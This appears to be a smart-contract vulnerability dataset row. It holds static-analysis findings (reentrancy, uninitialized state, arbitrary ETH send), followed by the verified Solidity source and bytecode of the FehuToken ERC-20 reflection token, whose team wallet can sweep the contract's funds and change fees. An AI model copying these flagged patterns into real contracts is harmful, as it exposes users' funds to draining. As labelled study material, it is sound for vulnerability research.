05260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122042b338044e556a40bf22bd7ccc341812d06c286d853319b8ff5ee00378d891ae64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
53
0x81524411e3c463e3486b02068ad787069e5a7759
/** *Submitted for verification at Etherscan.io on 2021-12-12 */ //SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.10; // ---------------------------------------------------------------------------- // EIP-20: ERC-20 Token Standard // https://eips.ethereum.org/EIPS/eip-20 // ----------------------------------------- abstract contract Context { function messageSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = messageSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == messageSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FehuToken is Context, IERC20, Ownable { using SafeMath for uint256; //Token attributes uint256 private constant MAX = ~uint256(0); uint256 private constant tokens = 10000000000000 * 10**9; uint256 private reflectionsTotal = (MAX - (MAX % tokens)); string private constant _name = "FehuToken"; string private constant _symbol = "FEHU"; uint8 private constant _decimals = 9; //Fees for transactions uint256 private reflexFee = 1; uint256 private teamFee = 4; //Marketing + Development + Charity uint256 private liquidityFee = 5; //Buyback //Fee wallet address payable private teamWallet; mapping (address => uint256) private reflectionOwners; mapping (address => mapping (address => uint256)) private allowances; mapping (address => bool) private feeExemption; mapping (address => uint) private cooldown; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private walletOwnershipEnabled = true; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { teamWallet = payable(0x50DE98A520B665c11a0D2868D2aF9F0F6C0Dc435); reflectionOwners[address(this)] = reflectionsTotal; feeExemption[address(this)] = true; feeExemption[teamWallet] = true; emit Transfer(address(0), address(this), tokens); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return tokens; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(reflectionOwners[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(messageSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(messageSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, messageSender(), allowances[sender][messageSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= reflectionsTotal, "Amount must be less than total reflectionOwners"); uint256 currentRate = getSupplyRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferMoreThanOwnership(address account, uint256 amount) private view returns (bool) { uint256 totalTokensFromTotalReflection = tokenFromReflection(reflectionsTotal); uint256 totalTokensOwned = balanceOf(account); uint256 additionalRateAllowed = getLPRate(account); if(calculateTokenOwnership(totalTokensOwned, totalTokensFromTotalReflection, amount) <= 150 + additionalRateAllowed){ return false; } return true; } function getBuySellFees(address from, address to) private view returns(uint256, uint256) { if(!tradingOpen || feeExemption[from] || feeExemption[to]) { return (0, 0); } //Buy tax from uniswap if(from == uniswapV2Pair) { return (reflexFee, teamFee); } //Sell tax from uniswap if(to == uniswapV2Pair) { return (reflexFee, teamFee + liquidityFee); } //General transfer tax. No tax from wallet to wallet or contract to contract return (0, 0); } function calculateTokenOwnership(uint256 totalTokensOwned, uint256 totalTokensFromTotalReflection, uint256 amount) private pure returns (uint256) { return amount.add(totalTokensOwned).mul(10000).div(totalTokensFromTotalReflection); } function checkLPBalance(address sender) public view returns (uint256){ return IERC20(uniswapV2Pair).balanceOf(sender); } function getPairLPBalance() private view returns (uint256){ return IERC20(uniswapV2Pair).totalSupply(); } function getLPRate(address sender) private view returns (uint256){ uint256 totalPoolTokens = getPairLPBalance(); uint256 callerPoolTokens = checkLPBalance(sender); return callerPoolTokens.mul(10000).div(totalPoolTokens); } function transferERC20(IERC20 tokenContract, address to, uint256 amount) public { require(messageSender() == teamWallet || messageSender() == owner(), "Only fee owner can transfer ERC20 funds"); uint256 erc20balance = tokenContract.balanceOf(address(this)); require(amount <= erc20balance, "amount cannot be higher than current balance"); tokenContract.transfer(to, amount); emit Transfer(msg.sender, to, amount); } function balanceOfERC20(IERC20 token) public view returns (uint256) { return token.balanceOf(address(this)); } //Function to unlock wallet ownership rule of 1,5% function unlockWalletOwnership() external { require(messageSender() == teamWallet, "Only fee wallet can call this function"); require(walletOwnershipEnabled, "Wallet ownership already unlocked"); walletOwnershipEnabled = false; } function setTeamFee(uint256 feePercentage) external { require(feePercentage <= teamFee, "New fee cannot be higher than the previous fee"); require(messageSender() == teamWallet, "Only fee wallet can call this function"); teamFee = feePercentage; } function setLiquidityFee(uint256 feePercentage) external { require(feePercentage <= liquidityFee, "New fee cannot be higher than the previous fee"); require(messageSender() == teamWallet, "Only fee wallet can call this function"); liquidityFee = feePercentage; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!feeExemption[from] && !feeExemption[to] && from == uniswapV2Pair && to != address(uniswapV2Router) && cooldownEnabled) { require(cooldown[to] < block.number); //2 block number cooldown aka ~ 30 seconds cooldown[to] = block.number + 2; } if(walletOwnershipEnabled) { //Wallet to wallet transfer restriction if(swapEnabled && from != uniswapV2Pair && to != uniswapV2Pair && from != address(uniswapV2Router) && !feeExemption[to]) { require(!transferMoreThanOwnership(to, amount), "Address owns or will own more than 1,5% + pool_ownership of the token supply"); } //Swapping eth for token restriction if(swapEnabled && from == uniswapV2Pair && !feeExemption[to]) { require(!transferMoreThanOwnership(to, amount), "Address owns or will own more than 1,5% + pool_ownership of the token supply"); } } transferTokensSupportingFees(from, to, amount); } //UniSwap transaction with fees function transferTokensSupportingFees(address sender, address recipient, uint256 tAmount) private { (uint256 _reflexFee, uint256 _totalTeamFee) = getBuySellFees(sender, recipient); uint256 sumFees = _reflexFee + _totalTeamFee; (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount) = _getAllValues(tAmount, sumFees); reflectionOwners[sender] = reflectionOwners[sender].sub(rAmount); reflectionOwners[recipient] = reflectionOwners[recipient].add(rTransferAmount); applyReflectionFee(rAmount, _reflexFee); applyTotalFees(rAmount, _totalTeamFee); emit Transfer(sender, recipient, tTransferAmount); } //Uniswap router conversion from Token to ETH function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendFee(uint256 amount) private { teamWallet.transfer(amount); } //Start trading function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; feeExemption[address(uniswapV2Router)] = true; //fee exemption for uniswap router _approve(address(this), address(uniswapV2Router), tokens); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value:address(this).balance}(address(this), balanceOf(address(this)), 0, 0, teamWallet, block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(this), uniswapV2Pair, tokens); } function addLiquidityTeamWalletOwner(uint256 tokenAmount) external { require(messageSender() == teamWallet, "Only the team wallet can call this function"); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH { value: address(this).balance } ( address(this), tokenAmount, 0, 0, teamWallet, block.timestamp + 30 ); } /* ------- Fee Setup -------- */ function applyTotalFees(uint256 rAmount, uint256 rSumFees) private { uint256 collectedFee = rAmount.mul(rSumFees).div(100); reflectionOwners[address(this)] = reflectionOwners[address(this)].add(collectedFee); } function applyReflectionFee(uint256 rAmount, uint256 rReflexFee) private { uint256 collectedFee = rAmount.mul(rReflexFee).div(100); reflectionsTotal = reflectionsTotal.sub(collectedFee); } /* ------- Fee Setup END -------- */ receive() external payable {} function manualswap(uint256 amount) external { require(messageSender() == teamWallet); require(amount <= balanceOf(address(this))); uint256 contractBalance = amount; swapTokensForEth(contractBalance); } function manualsend() external { require(messageSender() == teamWallet); uint256 contractETHBalance = address(this).balance; sendFee(contractETHBalance); } /* ------- Token, reflection, fees and rate amount calculations -------- */ function _getAllValues(uint256 tAmount, uint256 fees) private view returns (uint256, uint256, uint256) { uint256 tTransferAmount = _getTokenValues(tAmount, fees); uint256 currentRate = getSupplyRate(); (uint256 rAmount, uint256 rTransferAmount) = _getReflectionValues(tAmount, tTransferAmount, currentRate); return (rAmount, rTransferAmount, tTransferAmount); } function _getTokenValues(uint256 tAmount, uint256 fees) private pure returns (uint256) { uint256 tFees = tAmount.mul(fees).div(100); uint256 tTransferAmount = tAmount - tFees; return tTransferAmount; } function _getReflectionValues(uint256 tAmount, uint256 tTransferAmount, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTransferAmount = tTransferAmount.mul(currentRate); return (rAmount, rTransferAmount); } function getSupplyRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = reflectionsTotal; uint256 tSupply = tokens; if (rSupply < reflectionsTotal.div(tokens)) return (reflectionsTotal, tokens); return (rSupply, tSupply); } /* ------- Token, reflection, fees and rate amount calculations END -------- */ }
0x60806040526004361061016e5760003560e01c8063881dce60116100cb578063a9059cbb1161007f578063dd62ed3e11610059578063dd62ed3e146103e7578063e6ec64ec1461042d578063fdcbea4a1461044d57600080fd5b8063a9059cbb14610392578063c9567bf9146103b2578063d93db24f146103c757600080fd5b806395d89b41116100b057806395d89b411461032557806398e02e1c146103525780639db5dbe41461037257600080fd5b8063881dce60146102dd5780638da5cb5b146102fd57600080fd5b8063357bf15c1161012257806370a082311161010757806370a0823114610288578063715018a6146102a8578063858fcdb5146102bd57600080fd5b8063357bf15c146102515780636fc3eaec1461027357600080fd5b806318160ddd1161015357806318160ddd146101ee57806323b872dd14610215578063313ce5671461023557600080fd5b806306fdde031461017a578063095ea7b3146101be57600080fd5b3661017557005b600080fd5b34801561018657600080fd5b506040805180820190915260098152682332b43aaa37b5b2b760b91b60208201525b6040516101b59190611f12565b60405180910390f35b3480156101ca57600080fd5b506101de6101d9366004611f7c565b610462565b60405190151581526020016101b5565b3480156101fa57600080fd5b5069021e19e0c9bab24000005b6040519081526020016101b5565b34801561022157600080fd5b506101de610230366004611fa8565b610479565b34801561024157600080fd5b50604051600981526020016101b5565b34801561025d57600080fd5b5061027161026c366004611fe9565b6104e2565b005b34801561027f57600080fd5b506102716105c7565b34801561029457600080fd5b506102076102a3366004612002565b6105f4565b3480156102b457600080fd5b50610271610616565b3480156102c957600080fd5b506102076102d8366004612002565b6106ba565b3480156102e957600080fd5b506102716102f8366004611fe9565b61072a565b34801561030957600080fd5b506000546040516001600160a01b0390911681526020016101b5565b34801561033157600080fd5b506040805180820190915260048152634645485560e01b60208201526101a8565b34801561035e57600080fd5b5061027161036d366004611fe9565b61076d565b34801561037e57600080fd5b5061027161038d366004611fa8565b6108d5565b34801561039e57600080fd5b506101de6103ad366004611f7c565b610afa565b3480156103be57600080fd5b50610271610b07565b3480156103d357600080fd5b506102076103e2366004612002565b610f45565b3480156103f357600080fd5b5061020761040236600461201f565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561043957600080fd5b50610271610448366004611fe9565b610f74565b34801561045957600080fd5b50610271611054565b600061046f338484611153565b5060015b92915050565b6000610486848484611277565b6104d884336104d3856040518060600160405280602881526020016121ec602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190611692565b611153565b5060019392505050565b6005548111156105505760405162461bcd60e51b815260206004820152602e60248201527f4e6577206665652063616e6e6f7420626520686967686572207468616e20746860448201526d652070726576696f75732066656560901b60648201526084015b60405180910390fd5b6006546001600160a01b0316336001600160a01b0316146105c25760405162461bcd60e51b815260206004820152602660248201527f4f6e6c79206665652077616c6c65742063616e2063616c6c20746869732066756044820152653731ba34b7b760d11b6064820152608401610547565b600555565b6006546001600160a01b0316336001600160a01b0316146105e757600080fd5b476105f1816116cc565b50565b6001600160a01b03811660009081526007602052604081205461047390611706565b6000546001600160a01b031633146106705760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610547565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600c546040516370a0823160e01b81526001600160a01b03838116600483015260009216906370a08231906024015b602060405180830381865afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104739190612058565b6006546001600160a01b0316336001600160a01b03161461074a57600080fd5b610753306105f4565b81111561075f57600080fd5b806107698161179d565b5050565b6006546001600160a01b0316336001600160a01b0316146107f65760405162461bcd60e51b815260206004820152602b60248201527f4f6e6c7920746865207465616d2077616c6c65742063616e2063616c6c20746860448201527f69732066756e6374696f6e0000000000000000000000000000000000000000006064820152608401610547565b600b5461080e9030906001600160a01b031683611153565b600b546006546001600160a01b039182169163f305d7199147913091869160009182911661083d42601e612087565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156108aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cf919061209f565b50505050565b6006546001600160a01b0316336001600160a01b0316148061090157506000546001600160a01b031633145b61095d5760405162461bcd60e51b815260206004820152602760248201527f4f6e6c7920666565206f776e65722063616e207472616e736665722045524332604482015266302066756e647360c81b6064820152608401610547565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c89190612058565b905080821115610a405760405162461bcd60e51b815260206004820152602c60248201527f616d6f756e742063616e6e6f7420626520686967686572207468616e2063757260448201527f72656e742062616c616e636500000000000000000000000000000000000000006064820152608401610547565b60405163a9059cbb60e01b81526001600160a01b0384811660048301526024820184905285169063a9059cbb906044016020604051808303816000875af1158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab391906120cd565b506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b600061046f338484611277565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610547565b600c54600160a01b900460ff1615610bbb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610547565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600081905260096020527fbaa441ac52505693dd98c7dd2f5bbf8f9349b7da9de72f9d52e5cac70e7da8ce805460ff19166001179055610c2f308269021e19e0c9bab2400000611153565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9191906120ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0291906120ef565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7391906120ef565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610da3816105f4565b60065460405160e086901b6001600160e01b03191681526001600160a01b039384166004820152602481019290925260006044830181905260648301529190911660848201524260a482015260c40160606040518083038185885af1158015610e10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e35919061209f565b5050600c80547fffffffffffffffff0000ff00ffffffffffffffffffffffffffffffffffffffff81167701010001000000000000000000000000000000000000000017909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ecf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef391906120cd565b50600c5460405169021e19e0c9bab240000081526001600160a01b039091169030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a08231906024016106e9565b600454811115610fdd5760405162461bcd60e51b815260206004820152602e60248201527f4e6577206665652063616e6e6f7420626520686967686572207468616e20746860448201526d652070726576696f75732066656560901b6064820152608401610547565b6006546001600160a01b0316336001600160a01b03161461104f5760405162461bcd60e51b815260206004820152602660248201527f4f6e6c79206665652077616c6c65742063616e2063616c6c20746869732066756044820152653731ba34b7b760d11b6064820152608401610547565b600455565b6006546001600160a01b0316336001600160a01b0316146110c65760405162461bcd60e51b815260206004820152602660248201527f4f6e6c79206665652077616c6c65742063616e2063616c6c20746869732066756044820152653731ba34b7b760d11b6064820152608401610547565b600c54600160c01b900460ff166111295760405162461bcd60e51b815260206004820152602160248201527f57616c6c6574206f776e65727368697020616c726561647920756e6c6f636b656044820152601960fa1b6064820152608401610547565b600c80547fffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffff169055565b6001600160a01b0383166111b55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610547565b6001600160a01b0382166112165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610547565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610547565b6001600160a01b03821661133d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610547565b6000811161139f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610547565b6001600160a01b03831660009081526009602052604090205460ff161580156113e157506001600160a01b03821660009081526009602052604090205460ff16155b80156113fa5750600c546001600160a01b038481169116145b80156114145750600b546001600160a01b03838116911614155b80156114295750600c54600160b81b900460ff165b15611477576001600160a01b0382166000908152600a6020526040902054431161145257600080fd5b61145d436002612087565b6001600160a01b0383166000908152600a60205260409020555b600c54600160c01b900460ff161561168257600c54600160b01b900460ff1680156114b05750600c546001600160a01b03848116911614155b80156114ca5750600c546001600160a01b03838116911614155b80156114e45750600b546001600160a01b03848116911614155b801561150957506001600160a01b03821660009081526009602052604090205460ff16155b156115a0576115188282611929565b156115a05760405162461bcd60e51b815260206004820152604c60248201527f41646472657373206f776e73206f722077696c6c206f776e206d6f726520746860448201527f616e20312c3525202b20706f6f6c5f6f776e657273686970206f66207468652060648201526b746f6b656e20737570706c7960a01b608482015260a401610547565b600c54600160b01b900460ff1680156115c65750600c546001600160a01b038481169116145b80156115eb57506001600160a01b03821660009081526009602052604090205460ff16155b15611682576115fa8282611929565b156116825760405162461bcd60e51b815260206004820152604c60248201527f41646472657373206f776e73206f722077696c6c206f776e206d6f726520746860448201527f616e20312c3525202b20706f6f6c5f6f776e657273686970206f66207468652060648201526b746f6b656e20737570706c7960a01b608482015260a401610547565b61168d838383611986565b505050565b600081848411156116b65760405162461bcd60e51b81526004016105479190611f12565b5060006116c3848661210c565b95945050505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610769573d6000803e3d6000fd5b60006002548211156117805760405162461bcd60e51b815260206004820152602f60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e4f776e65727300000000000000000000000000000000006064820152608401610547565b600061178a611a94565b90506117968382611ab7565b9392505050565b600c805460ff60a81b1916750100000000000000000000000000000000000000000017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117f7576117f7612123565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611850573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187491906120ef565b8160018151811061188757611887612123565b6001600160a01b039283166020918202929092010152600b546118ad9130911684611153565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906118e6908590600090869030904290600401612139565b600060405180830381600087803b15801561190057600080fd5b505af1158015611914573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600080611937600254611706565b90506000611944856105f4565b9050600061195186611af9565b905061195e816096612087565b611969838588611b31565b1161197a5760009350505050610473565b50600195945050505050565b6000806119938585611b4d565b909250905060006119a48284612087565b905060008060006119b58785611c19565b6001600160a01b038c1660009081526007602052604090205492955090935091506119e09084611c57565b6001600160a01b03808b1660009081526007602052604080822093909355908a1681522054611a0f9083611c99565b6001600160a01b038916600090815260076020526040902055611a328387611cf8565b611a3c8386611d21565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a8191815260200190565b60405180910390a3505050505050505050565b6000806000611aa1611d64565b9092509050611ab08282611ab7565b9250505090565b600061179683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611da8565b600080611b04611dd6565b90506000611b11846106ba565b9050611b2982611b2383612710611e49565b90611ab7565b949350505050565b6000611b2983611b23612710611b478689611c99565b90611e49565b600c546000908190600160a01b900460ff161580611b8357506001600160a01b03841660009081526009602052604090205460ff165b80611ba657506001600160a01b03831660009081526009602052604090205460ff165b15611bb657506000905080611c12565b600c546001600160a01b0385811691161415611bd9575050600354600454611c12565b600c546001600160a01b0384811691161415611c0b57600354600554600454611c029190612087565b91509150611c12565b5060009050805b9250929050565b600080600080611c298686611ec8565b90506000611c35611a94565b9050600080611c45898585611ee8565b90975095509293505050509250925092565b600061179683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611692565b600080611ca68385612087565b9050838110156117965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610547565b6000611d096064611b238585611e49565b600254909150611d199082611c57565b600255505050565b6000611d326064611b238585611e49565b30600090815260076020526040902054909150611d4f9082611c99565b30600090815260076020526040902055505050565b600254600090819069021e19e0c9bab2400000611d818282611ab7565b821015611d9f5750506002549269021e19e0c9bab240000092509050565b90939092509050565b60008183611dc95760405162461bcd60e51b81526004016105479190611f12565b5060006116c384866121aa565b600c54604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa158015611e20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e449190612058565b905090565b600082611e5857506000610473565b6000611e6483856121cc565b905082611e7185836121aa565b146117965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610547565b600080611eda6064611b238686611e49565b905060006116c3828661210c565b60008080611ef68685611e49565b90506000611f048686611e49565b919791965090945050505050565b600060208083528351808285015260005b81811015611f3f57858101830151858201604001528201611f23565b81811115611f51576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105f157600080fd5b60008060408385031215611f8f57600080fd5b8235611f9a81611f67565b946020939093013593505050565b600080600060608486031215611fbd57600080fd5b8335611fc881611f67565b92506020840135611fd881611f67565b929592945050506040919091013590565b600060208284031215611ffb57600080fd5b5035919050565b60006020828403121561201457600080fd5b813561179681611f67565b6000806040838503121561203257600080fd5b823561203d81611f67565b9150602083013561204d81611f67565b809150509250929050565b60006020828403121561206a57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561209a5761209a612071565b500190565b6000806000606084860312156120b457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156120df57600080fd5b8151801515811461179657600080fd5b60006020828403121561210157600080fd5b815161179681611f